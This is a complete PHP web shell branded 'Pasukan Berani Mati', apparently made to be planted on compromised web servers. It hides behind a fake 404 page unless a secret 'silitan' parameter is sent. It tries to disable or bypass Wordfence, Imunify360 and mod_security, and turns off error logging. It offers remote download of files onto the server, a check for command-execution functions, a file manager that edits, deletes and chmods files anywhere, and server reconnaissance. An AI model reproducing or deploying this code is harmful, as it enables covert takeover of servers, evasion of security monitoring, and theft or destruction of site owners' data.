<?php
set_time_limit(0);
error_reporting(0);
@ini_set('error_log',null);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
date_default_timezone_set('Asia/Jakarta');

// Header security bypass
if (function_exists('litespeed_request_headers')) {
   $a = litespeed_request_headers();
   if (isset($a['X-LSCACHE'])) {
       header('X-LSCACHE: off');
   }
}

if (defined('WORDFENCE_VERSION')) {
   define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
   define('WORDFENCE_DISABLE_FILE_MODS', true);
}

if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
   $a = imunify360_request_headers();
   if (isset($a['X-Imunify360-Request'])) {
       header('X-Imunify360-Request: bypass');
   }
   
   if (isset($a['X-Imunify360-Captcha-Bypass'])) {
       header('X-Imunify360-Captcha-Bypass: ' . $a['X-Imunify360-Captcha-Bypass']);
   }
}

if (function_exists('apache_request_headers')) {
   $a = apache_request_headers();
   if (isset($a['X-Mod-Security'])) {
       header('X-Mod-Security: ' . $a['X-Mod-Security']);
   }
}

if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
   $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
   if (isset($a['HTTP_CF_VISITOR'])) {
       header('HTTP_CF_VISITOR: ' . $a['HTTP_CF_VISITOR']);
   }
}

function ip() {
    $ipas = '';
    if(getenv('HTTP_CLIENT_IP'))
        $ipas = getenv('HTTP_CLIENT_IP');
    else if(getenv('HTTP_X_FORWARDED_FOR'))
        $ipas = getenv('HTTP_X_FORWARDED_FOR');
    else if(getenv('HTTP_X_FORWARDED'))
        $ipas = getenv('HTTP_X_FORWARDED');
    else if(getenv('HTTP_FORWARDED_FOR'))
        $ipas = getenv('HTTP_FORWARDED_FOR');
    else if(getenv('HTTP_FORWARDED'))
        $ipas = getenv('HTTP_FORWARDED');
    else if(getenv('REMOTE_ADDR'))
        $ipas = getenv('REMOTE_ADDR');
    else
        $ipas = 'IP tidak dikenali';
    return $ipas;
}

function http_get($url, $timeout = 10) {
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => $timeout,
            CURLOPT_TIMEOUT        => $timeout,
            CURLOPT_HEADER         => false,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT      => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ]);
        $data = curl_exec($ch);
        curl_close($ch);

        if ($data !== false && $data !== '') {
            return $data;
        }
    }
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => [
                'method'  => 'GET',
                'timeout' => $timeout,
                'header'  => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"
            ]
        ]);
        $data = @file_get_contents($url, false, $context);
        if ($data !== false && $data !== '') {
            return $data;
        }
    }
    if (ini_get('allow_url_fopen')) {
        $fp = @fopen($url, 'r');
        if ($fp) {
            stream_set_timeout($fp, $timeout);
            $data = stream_get_contents($fp);
            fclose($fp);
            if ($data !== false && $data !== '') {
                return $data;
            }
        }
    }
    $u = parse_url($url);
    if (!isset($u['host'])) {
        return false;
    }
    $scheme = $u['scheme'] ?? 'http';
    $host   = $u['host'];
    $path   = ($u['path'] ?? '/') . (isset($u['query']) ? '?' . $u['query'] : '');
    $port   = ($scheme === 'https') ? 443 : 80;
    $fp = @fsockopen(
        ($scheme === 'https' ? 'ssl://' : '') . $host,
        $port,
        $errno,
        $errstr,
        $timeout
    );
    if (!$fp) {
        return false;
    }
    stream_set_timeout($fp, $timeout);
    $out  = "GET $path HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    $response = '';
    while (!feof($fp)) {
        $response .= fgets($fp, 1024);
    }
    fclose($fp);
    $parts = explode("\r\n\r\n", $response, 2);
    return $parts[1] ?? false;
}

function download_from_url($url, $filename = '') {
    $data = http_get($url);
    if ($data === false) {
        return "❌ Gagal mengunduh dari URL";
    }
    if (empty($filename)) {
        $path = parse_url($url, PHP_URL_PATH);
        $filename = basename($path);
        if (empty($filename)) {
            $filename = 'downloaded_' . time() . '.txt';
        }
    }
    if (@file_put_contents($filename, $data)) {
        $size = strlen($data);
        return "✅ Berhasil mengunduh: <a href='$filename'>$filename</a> ($size bytes)";
    } else {
        return "❌ Gagal menyimpan file: $filename";
    }
}

function check_functions() {
    $checks = [];
    $important_funcs = [
        'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open',
        'curl_init', 'curl_exec', 'file_get_contents', 'fopen', 'fsockopen',
        'move_uploaded_file', 'copy', 'rename', 'unlink',
        'ini_set', 'set_time_limit', 'error_reporting'
    ];
    foreach ($important_funcs as $func) {
        $checks[$func] = function_exists($func) ? '✅' : '❌';
    }
    return $checks;
}

// FILE MANAGER FUNCTIONS
function formatSize($bytes) {
    if ($bytes == 0) return "0 B";
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, 2) . ' ' . $units[$pow];
}

function rmdir_recursive($dir) {
    if (!file_exists($dir)) return true;
    
    $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
        $path = $dir . '/' . $file;
        is_dir($path) ? rmdir_recursive($path) : unlink($path);
    }
    return rmdir($dir);
}

function addFolderToZip($zip, $folder, $base = '') {
    $files = array_diff(scandir($folder), array('.','..'));
    foreach ($files as $file) {
        $path = $folder . '/' . $file;
        $local = ($base ? $base . '/' : '') . $file;
        
        if (is_dir($path)) {
            $zip->addEmptyDir($local);
            addFolderToZip($zip, $path, $local);
        } else {
            $zip->addFile($path, $local);
        }
    }
}

function fileManager() {
    $current_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
    
    // Security: prevent directory traversal
    $current_dir = realpath($current_dir) ?: getcwd();
    
    // Handle actions
    if (isset($_GET['action'])) {
        $action = $_GET['action'];
        $target = isset($_GET['target']) ? $_GET['target'] : '';
        
        switch ($action) {
            case 'delete':
                if (file_exists($target)) {
                    if (is_dir($target)) {
                        rmdir_recursive($target);
                        $message = "✅ Directory deleted successfully";
                    } else {
                        unlink($target);
                        $message = "✅ File deleted successfully";
                    }
                }
                break;
                
            case 'rename':
                if (isset($_POST['new_name']) && file_exists($target)) {
                    $new_name = dirname($target) . '/' . $_POST['new_name'];
                    if (rename($target, $new_name)) {
                        $message = "✅ Renamed successfully";
                    }
                }
                break;
                
            case 'edit':
                if (isset($_POST['content']) && file_exists($target) && is_file($target)) {
                    if (file_put_contents($target, $_POST['content'])) {
                        $message = "✅ File saved successfully";
                    }
                }
                break;
                
            case 'chmod':
                if (isset($_POST['permission']) && file_exists($target)) {
                    if (chmod($target, octdec($_POST['permission']))) {
                        $message = "✅ Permissions changed successfully";
                    }
                }
                break;
                
            case 'create_file':
                if (isset($_POST['filename'])) {
                    $filename = $current_dir . '/' . $_POST['filename'];
                    if (file_put_contents($filename, isset($_POST['filecontent']) ? $_POST['filecontent'] : '')) {
                        $message = "✅ File created successfully";
                    }
                }
                break;
                
            case 'create_dir':
                if (isset($_POST['dirname'])) {
                    $dirname = $current_dir . '/' . $_POST['dirname'];
                    if (mkdir($dirname, 0755, true)) {
                        $message = "✅ Directory created successfully";
                    }
                }
                break;
                
            case 'archive':
                if (isset($_POST['files']) && class_exists('ZipArchive')) {
                    $zip = new ZipArchive();
                    $archive_name = isset($_POST['archive_name']) && !empty($_POST['archive_name']) 
                        ? $current_dir . '/' . $_POST['archive_name'] 
                        : $current_dir . '/archive_' . date('Y-m-d_H-i-s') . '.zip';
                    
                    if ($zip->open($archive_name, ZipArchive::CREATE) === TRUE) {
                        foreach ($_POST['files'] as $file) {
                            $file_path = $current_dir . '/' . $file;
                            if (is_file($file_path)) {
                                $zip->addFile($file_path, $file);
                            } elseif (is_dir($file_path)) {
                                addFolderToZip($zip, $file_path, $file);
                            }
                        }
                        $zip->close();
                        $message = "✅ Archive created: " . basename($archive_name);
                    }
                }
                break;
                
            case 'unarchive':
                if (isset($_POST['archive_file']) && class_exists('ZipArchive')) {
                    $archive_path = $current_dir . '/' . $_POST['archive_file'];
                    $extract_path = isset($_POST['extract_path']) && !empty($_POST['extract_path']) 
                        ? $current_dir . '/' . $_POST['extract_path'] 
                        : $current_dir;
                    
                    if (!file_exists($extract_path)) {
                        mkdir($extract_path, 0755, true);
                    }
                    
                    $zip = new ZipArchive();
                    if ($zip->open($archive_path) === TRUE) {
                        $zip->extractTo($extract_path);
                        $zip->close();
                        $message = "✅ Archive extracted successfully";
                    }
                }
                break;
                
            case 'download':
                if (file_exists($target) && is_file($target)) {
                    header('Content-Type: application/octet-stream');
                    header('Content-Disposition: attachment; filename="' . basename($target) . '"');
                    header('Content-Length: ' . filesize($target));
                    readfile($target);
                    exit;
                }
                break;
                
            case 'view':
                if (file_exists($target) && is_file($target)) {
                    $content = file_get_contents($target);
                    header('Content-Type: text/plain');
                    echo $content;
                    exit;
                }
                break;
        }
    }
    
    // Start output
    echo '<!DOCTYPE html>
    <html lang="id">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>File Manager - Pasukan Berani Mati</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
        <style>
            body {
                background-color: #f8f9fa;
                font-family: Arial, sans-serif;
                padding: 20px;
            }
            .header {
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                color: white;
                border-radius: 10px;
                margin-bottom: 20px;
                padding: 20px;
            }
            .file-manager {
                background: white;
                border-radius: 10px;
                padding: 20px;
                box-shadow: 0 2px 10px rgba(0,0,0,.08);
            }
            .navigation-bar {
                background: #f8f9fa;
                padding: 15px;
                border-radius: 8px;
                margin-bottom: 20px;
            }
            .action-buttons {
                margin-bottom: 20px;
            }
            .table th {
                background-color: #667eea;
                color: white;
            }
            .modal-header {
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                color: white;
            }
            .btn-primary {
                background-color: #667eea;
                border: none;
            }
            .btn-primary:hover {
                background-color: #5a67d8;
            }
            .btn-warning {
                background-color: #ed8936;
                border: none;
            }
            .btn-info {
                background-color: #4299e1;
                border: none;
            }
            .file-icon {
                margin-right: 8px;
            }
            .back-btn {
                margin-right: 10px;
            }
        </style>
    </head>
    <body>
    <div class="container">';
    
    // Show message if exists
    if (isset($message)) {
        echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                ' . $message . '
                <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
              </div>';
    }
    
    echo '<div class="header">
            <h1><i class="fas fa-folder-open"></i> File Manager</h1>
            <p class="mb-0">Current Directory: ' . htmlspecialchars($current_dir) . '</p>
            <p class="mb-0"><a href="?silitan" class="text-white"><i class="fas fa-arrow-left"></i> Back to Main Panel</a></p>
          </div>';
    
    echo '<div class="file-manager">';
    
    // Navigation bar
    echo '<div class="navigation-bar">
            <form method="get" class="d-flex align-items-center">
                <input type="hidden" name="silitan" value="1">
                <input type="hidden" name="filemanager" value="1">
                <a href="?silitan&filemanager=1&dir=' . urlencode(dirname($current_dir)) . '" class="btn btn-secondary back-btn">
                    <i class="fas fa-level-up-alt"></i> Up
                </a>
                <input type="text" name="dir" class="form-control" value="' . htmlspecialchars($current_dir) . '" placeholder="Enter path">
                <button type="submit" class="btn btn-primary ms-2">
                    <i class="fas fa-folder-open"></i> Go
                </button>
            </form>
          </div>';
    
    // Action buttons
    echo '<div class="action-buttons">
            <button class="btn btn-success" data-bs-toggle="modal" data-bs-target="#createFileModal">
                <i class="fas fa-file"></i> Create File
            </button>
            <button class="btn btn-info ms-2" data-bs-toggle="modal" data-bs-target="#createDirModal">
                <i class="fas fa-folder"></i> Create Folder
            </button>
            <button class="btn btn-warning ms-2" data-bs-toggle="modal" data-bs-target="#archiveModal">
                <i class="fas fa-file-archive"></i> Archive
            </button>
            <button class="btn btn-secondary ms-2" data-bs-toggle="modal" data-bs-target="#unarchiveModal">
                <i class="fas fa-folder-open"></i> Unarchive
            </button>
          </div>';
    
    // File list
    $items = @scandir($current_dir);
    if ($items === false) {
        echo '<div class="alert alert-danger">Cannot read directory</div>';
    } else {
        echo '<form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=archive">';
        echo '<div class="table-responsive">
                <table class="table table-striped table-hover">
                <thead>
                    <tr>
                        <th width="40"><input type="checkbox" id="selectAll"></th>
                        <th>Name</th>
                        <th width="100">Size</th>
                        <th width="100">Type</th>
                        <th width="100">Permissions</th>
                        <th width="150">Modified</th>
                        <th width="200">Actions</th>
                    </tr>
                </thead>
                <tbody>';
        
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            
            $full_path = $current_dir . '/' . $item;
            $is_dir = @is_dir($full_path);
            $size = $is_dir ? '-' : formatSize(@filesize($full_path));
            $type = $is_dir ? 'Directory' : 'File';
            $perms = @substr(sprintf('%o', fileperms($full_path)), -4);
            $modified = @date('Y-m-d H:i:s', filemtime($full_path));
            
            echo '<tr>';
            echo '<td><input type="checkbox" name="files[]" value="' . htmlspecialchars($item) . '"></td>';
            echo '<td>';
            if ($is_dir) {
                echo '<i class="fas fa-folder text-warning file-icon"></i>';
                echo '<a href="?silitan&filemanager=1&dir=' . urlencode($full_path) . '">' . htmlspecialchars($item) . '</a>';
            } else {
                echo '<i class="fas fa-file text-primary file-icon"></i>';
                echo htmlspecialchars($item);
            }
            echo '</td>';
            echo '<td>' . $size . '</td>';
            echo '<td><span class="badge bg-' . ($is_dir ? 'warning' : 'info') . '">' . $type . '</span></td>';
            echo '<td><code>' . $perms . '</code></td>';
            echo '<td>' . $modified . '</td>';
            echo '<td>';
            
            if (!$is_dir) {
                echo '<a href="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=download&target=' . urlencode($full_path) . '" 
                      class="btn btn-sm btn-success" title="Download">
                      <i class="fas fa-download"></i></a> ';
                
                echo '<button type="button" class="btn btn-sm btn-warning edit-btn" 
                      data-file="' . htmlspecialchars($item) . '" data-path="' . htmlspecialchars($full_path) . '"
                      title="Edit">
                      <i class="fas fa-edit"></i></button> ';
            }
            
            echo '<button type="button" class="btn btn-sm btn-info rename-btn" 
                  data-file="' . htmlspecialchars($item) . '" data-path="' . htmlspecialchars($full_path) . '"
                  title="Rename">
                  <i class="fas fa-i-cursor"></i></button> ';
            
            echo '<button type="button" class="btn btn-sm btn-secondary chmod-btn" 
                  data-file="' . htmlspecialchars($item) . '" data-path="' . htmlspecialchars($full_path) . '" 
                  data-perm="' . $perms . '" title="Change Permissions">
                  <i class="fas fa-lock"></i></button> ';
            
            echo '<a href="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=delete&target=' . urlencode($full_path) . '" 
                  class="btn btn-sm btn-danger" 
                  onclick="return confirm(\'Are you sure you want to delete ' . htmlspecialchars($item) . '?\')"
                  title="Delete">
                  <i class="fas fa-trash"></i></a>';
            
            echo '</td>';
            echo '</tr>';
        }
        
        echo '</tbody></table></div>';
        
        echo '<button type="submit" class="btn btn-warning">
                <i class="fas fa-file-archive"></i> Archive Selected Files
              </button>';
        echo '</form>';
    }
    
    echo '</div>'; // Close file-manager div
    
    // Modals
    echo '
    <!-- Create File Modal -->
    <div class="modal fade" id="createFileModal">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Create New File</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=create_file">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label">Filename:</label>
                            <input type="text" name="filename" class="form-control" required>
                        </div>
                        <div class="mb-3">
                            <label class="form-label">Content:</label>
                            <textarea name="filecontent" class="form-control" rows="5"></textarea>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-success">Create</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Create Directory Modal -->
    <div class="modal fade" id="createDirModal">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Create New Directory</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=create_dir">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label">Directory Name:</label>
                            <input type="text" name="dirname" class="form-control" required>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-success">Create</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Archive Modal -->
    <div class="modal fade" id="archiveModal">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Archive Files</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=archive">
                    <div class="modal-body">
                        <p>Select files to archive:</p>
                        <div style="max-height: 200px; overflow-y: auto;">';
    
    if ($items !== false) {
        foreach ($items as $item) {
            if ($item != '.' && $item != '..') {
                echo '<div class="form-check">
                        <input class="form-check-input" type="checkbox" name="files[]" value="' . htmlspecialchars($item) . '" id="file_' . md5($item) . '">
                        <label class="form-check-label" for="file_' . md5($item) . '">' . htmlspecialchars($item) . '</label>
                      </div>';
            }
        }
    }
    
    echo '              </div>
                        <div class="mt-3">
                            <label class="form-label">Archive Name (optional):</label>
                            <input type="text" name="archive_name" class="form-control" placeholder="archive_' . date('Y-m-d_H-i-s') . '.zip">
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-warning">Create Archive</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Unarchive Modal -->
    <div class="modal fade" id="unarchiveModal">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Unarchive Files</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=unarchive">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label">Select Archive:</label>
                            <select name="archive_file" class="form-control" required>
                                <option value="">-- Select Archive --</option>';
    
    if ($items !== false) {
        foreach ($items as $item) {
            if (preg_match('/\.(zip|tar|gz|rar)$/i', $item)) {
                echo '<option value="' . htmlspecialchars($item) . '">' . htmlspecialchars($item) . '</option>';
            }
        }
    }
    
    echo '                  </select>
                        </div>
                        <div class="mb-3">
                            <label class="form-label">Extract to (optional):</label>
                            <input type="text" name="extract_path" class="form-control" placeholder="Leave empty for current directory">
                        </div>
                        <div class="form-check">
                            <input class="form-check-input" type="checkbox" name="overwrite" value="1">
                            <label class="form-check-label">Overwrite existing files</label>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-primary">Extract</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Edit File Modal -->
    <div class="modal fade" id="editModal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Edit File: <span id="editFileName"></span></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=edit">
                    <input type="hidden" id="editFilePath" name="target">
                    <div class="modal-body">
                        <div class="mb-3">
                            <textarea id="editFileContent" name="content" class="form-control" rows="15" style="font-family: monospace;"></textarea>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-success">Save Changes</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Rename Modal -->
    <div class="modal fade" id="renameModal">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Rename File/Directory</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=rename">
                    <input type="hidden" id="renameFilePath" name="target">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label">New Name:</label>
                            <input type="text" id="renameFileName" name="new_name" class="form-control" required>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-primary">Rename</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Chmod Modal -->
    <div class="modal fade" id="chmodModal">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Change Permissions</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <form method="post" action="?silitan&filemanager=1&dir=' . urlencode($current_dir) . '&action=chmod">
                    <input type="hidden" id="chmodFilePath" name="target">
                    <div class="modal-body">
                        <div class="mb-3">
                            <label class="form-label">Current Permissions: <code id="currentPerm"></code></label>
                            <input type="text" name="permission" class="form-control" placeholder="e.g., 755, 644" required pattern="[0-7]{3,4}">
                            <small class="text-muted">Common: 755 (drwxr-xr-x), 644 (-rw-r--r--), 777 (drwxrwxrwx)</small>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-primary">Change</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
    document.addEventListener("DOMContentLoaded", function() {
        // Select All checkbox
        document.getElementById("selectAll")?.addEventListener("click", function(e) {
            var checkboxes = document.querySelectorAll("input[name=\'files[]\']");
            checkboxes.forEach(function(cb) {
                cb.checked = e.target.checked;
            });
        });
        
        // Edit button handler
        document.querySelectorAll(".edit-btn").forEach(function(btn) {
            btn.addEventListener("click", function() {
                var filePath = this.getAttribute("data-path");
                var fileName = this.getAttribute("data-file");
                
                document.getElementById("editFileName").textContent = fileName;
                document.getElementById("editFilePath").value = filePath;
                
                // Load file content via fetch
                fetch("?silitan&filemanager=1&action=view&target=" + encodeURIComponent(filePath))
                    .then(response => response.text())
                    .then(data => {
                        document.getElementById("editFileContent").value = data;
                    })
                    .catch(error => {
                        document.getElementById("editFileContent").value = "Error loading file content";
                    });
                
                new bootstrap.Modal(document.getElementById("editModal")).show();
            });
        });
        
        // Rename button handler
        document.querySelectorAll(".rename-btn").forEach(function(btn) {
            btn.addEventListener("click", function() {
                var filePath = this.getAttribute("data-path");
                var fileName = this.getAttribute("data-file");
                
                document.getElementById("renameFilePath").value = filePath;
                document.getElementById("renameFileName").value = fileName;
                
                new bootstrap.Modal(document.getElementById("renameModal")).show();
            });
        });
        
        // Chmod button handler
        document.querySelectorAll(".chmod-btn").forEach(function(btn) {
            btn.addEventListener("click", function() {
                var filePath = this.getAttribute("data-path");
                var currentPerm = this.getAttribute("data-perm");
                
                document.getElementById("chmodFilePath").value = filePath;
                document.getElementById("currentPerm").textContent = currentPerm;
                
                new bootstrap.Modal(document.getElementById("chmodModal")).show();
            });
        });
        
        // Archive modal - check all
        var archiveModal = document.getElementById("archiveModal");
        if (archiveModal) {
            archiveModal.addEventListener("show.bs.modal", function() {
                var checkboxes = this.querySelectorAll("input[name=\'files[]\']");
                checkboxes.forEach(function(cb) {
                    cb.checked = false;
                });
            });
        }
    });
    </script>
    </body>
    </html>';
}

// MAIN ROUTING
if(!isset($_GET['silitan'])) {
    header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
    exit();
}

// Check if filemanager is requested
if (isset($_GET['filemanager'])) {
    fileManager();
    exit();
}

// Continue with original code if not filemanager
echo '<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pasukan Berani Mati</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        body {
            background-color: #f8f9fa;
            font-family: Arial, sans-serif;
            padding-top: 20px;
            padding-bottom: 50px;
        }
        .header {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border-radius: 10px;
            margin-bottom: 30px;
            box-shadow: 0 4px 6px rgba(0,0,0,.1);
        }
        .card {
            border: none;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,.08);
            margin-bottom: 20px;
            transition: transform 0.3s;
            height: 100%;
        }
        .card:hover {
            transform: translateY(-5px);
        }
        .card-header {
            background-color: #667eea;
            color: white;
            border-radius: 10px 10px 0 0 !important;
            font-weight: bold;
        }
        .btn-primary {
            background-color: #667eea;
            border: none;
        }
        .btn-primary:hover {
            background-color: #5a67d8;
        }
        .btn-success {
            background-color: #48bb78;
            border: none;
        }
        .btn-warning {
            background-color: #ed8936;
            color: white;
            border: none;
        }
        .info-box {
            background-color: white;
            border-radius: 10px;
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: 0 2px 5px rgba(0,0,0,.05);
            border-left: 4px solid #667eea;
        }
        .system-info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 15px;
            margin-top: 10px;
        }
        .system-info-item {
            background: #f8f9fa;
            padding: 10px 15px;
            border-radius: 6px;
            border-left: 3px solid #667eea;
        }
        .system-info-label {
            font-weight: 600;
            color: #495057;
            font-size: 0.9em;
            display: block;
            margin-bottom: 3px;
        }
        .system-info-value {
            color: #212529;
            font-size: 0.95em;
            word-break: break-all;
        }
        .badge-custom {
            background-color: #e9ecef;
            color: #495057;
            font-weight: normal;
            font-size: 0.85em;
        }
        .form-control:focus {
            border-color: #667eea;
            box-shadow: 0 0 0 0.2rem rgba(102, 126, 234, 0.25);
        }
        .status-badge {
            font-size: 0.85em;
            padding: 3px 8px;
            border-radius: 4px;
        }
        .config-table th {
            background-color: #f8f9fa;
            font-weight: 600;
            border-bottom: 2px solid #dee2e6;
        }
        .server-info {
            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
            border-radius: 8px;
            padding: 15px;
            margin-bottom: 20px;
        }
        .file-manager-btn {
            position: fixed;
            bottom: 20px;
            right: 20px;
            z-index: 1000;
            box-shadow: 0 4px 6px rgba(0,0,0,.1);
        }
    </style>
</head>
<body>';

// Floating File Manager Button
echo '<a href="?silitan&filemanager=1" class="btn btn-primary btn-lg file-manager-btn">
        <i class="fas fa-folder-open"></i> File Manager
      </a>';

$homee = $_SERVER['DOCUMENT_ROOT'];
$cgfs = explode("/",$homee);
$build = '/'.$cgfs[1].'/'.$cgfs[2].'/.cagefs';

// Konfigurasi PHP
$php_version = PHP_VERSION;
$safe_mode = (@ini_get("safe_mode") == 'on') ? '<span class="text-danger fw-bold">ON</span>' : '<span class="text-success fw-bold">OFF</span>';
$magic_quotes = (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$mysql = (function_exists('mysqli_connect')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$mssql = (function_exists('mssql_connect')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$pgsql = (function_exists('pg_connect')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$oracle = (function_exists('oci_connect')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$exec = (function_exists('exec')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$open_basedir = (ini_get("open_basedir")) ? '<span class="text-danger fw-bold">ON</span><textarea class="form-control bg-light" rows="2" readonly>'.ini_get("open_basedir").'</textarea>' : '<span class="text-success fw-bold">OFF</span>';
$ini_restore = (function_exists('ini_restore')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$symlink = (function_exists('symlink')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';
$file_get_contents = (function_exists('file_get_contents')) ? '<span class="text-success fw-bold">ON</span>' : '<span class="text-danger fw-bold">OFF</span>';

// Informasi server yang diperbaiki
$sysinfo = php_uname();
$server_ip = $_SERVER['SERVER_ADDR'] ?? 'N/A';
$client_ip = ip();
$server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A';
$php_sapi = php_sapi_name();
